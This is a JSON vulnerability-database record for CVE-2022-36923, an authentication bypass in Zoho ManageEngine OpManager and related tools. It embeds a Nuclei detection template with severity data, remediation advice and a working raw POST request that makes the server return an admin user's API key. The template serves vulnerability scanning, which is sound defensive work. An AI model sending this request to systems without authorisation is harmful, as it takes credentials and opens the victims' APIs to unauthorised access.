{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-36923/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-36923/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-36923/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-36923/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-36923/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-36923"},"sightings":{"href":"/api/v1/sightings/cve-2022-36923"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-36923.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2022-36923\n\ninfo:\n  name: Zoho ManageEngine - getUserAPIKey Authentication Bypass\n  author: daffainfo,jjcho\n  severity: high\n  description: |\n    Zoho ManageEngine OpManager, OpManager Plus, OpManager MSP, Network Configuration Manager, NetFlow Analyzer, Firewall Analyzer, and OpUtils before 2022-07-27 through 2022-07-28 (125657, 126002, 126104, and 126118) allow unauthenticated attackers to obtain a user's API key, and then access external APIs.\n  impact: |\n    Attackers can obtain API keys and access external APIs, leading to potential data theft or unauthorized actions.\n  remediation: |\n    Apply the security patches released after 2022-07-28 or update to the latest version.\n  reference:\n    - https://www.manageengine.com/itom/advisory/cve-2022-36923.html\n    - https://y4er.com/posts/cve-2022-36923-manageengine-opmanager-getuserapikey-authentication-bypass/\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-36923\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2022-36923\n    epss-score: 0.071\n    epss-percentile: 0.94002\n    cwe-id: CWE-755,CWE-284\n    cpe: cpe:2.3:a:zohocorp:manageengine_firewall_analyzer:*:*:*:*:*:*:*:*,cpe:2.3:a:zohocorp:manageengine_netflow_analyzer:*:*:*:*:*:*:*:*,cpe:2.3:a:zohocorp:manageengine_network_configuration_manager:*:*:*:*:*:*:*:*,cpe:2.3:a:zohocorp:manageengine_opmanager:*:*:*:*:*:*:*:*,cpe:2.3:a:zohocorp:manageengine_opmanager_msp:*:*:*:*:*:*:*:*,cpe:2.3:a:zohocorp:manageengine_opmanager_plus:*:*:*:*:*:*:*:*,cpe:2.3:a:zohocorp:manageengine_oputils:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: zohocorp\n    product: manageengine_firewall_analyzer,manageengine_netflow_analyzer,manageengine_network_configuration_manager,manageengine_opmanager,manageengine_opmanager_msp,manageengine_opmanager_plus,manageengine_oputils\n  tags: cve,cve2022,zoho,manageengine,opmanager,oputils,auth-bypass,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /RestAPI/getAPIKey HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        operation=getUserAPIKey&username=admin&domainname=-&HANDSHAKE_KEY=pppppppppppppppppppppppppppppppppppp\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"len(body) == 34\"\n          - 'regex(\"[0-9a-f]+\", body)'\n          - \"status_code == 200\"\n          - \"contains(set_cookie, 'opmcsrfcookie=')\"\n        condition: and\n\n    extractors:\n      - type: regex\n        regex:\n          - '[0-9a-f]+'\n# digest: 4b0a00483046022100bdfc2582e023fc3f1546b1db42173714f390cdd9a3cbb50566804419c5e3303c022100f31b0deeede608559b935b88388653bec6136901b0748ff723a133667b8601fe:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2022-36923"}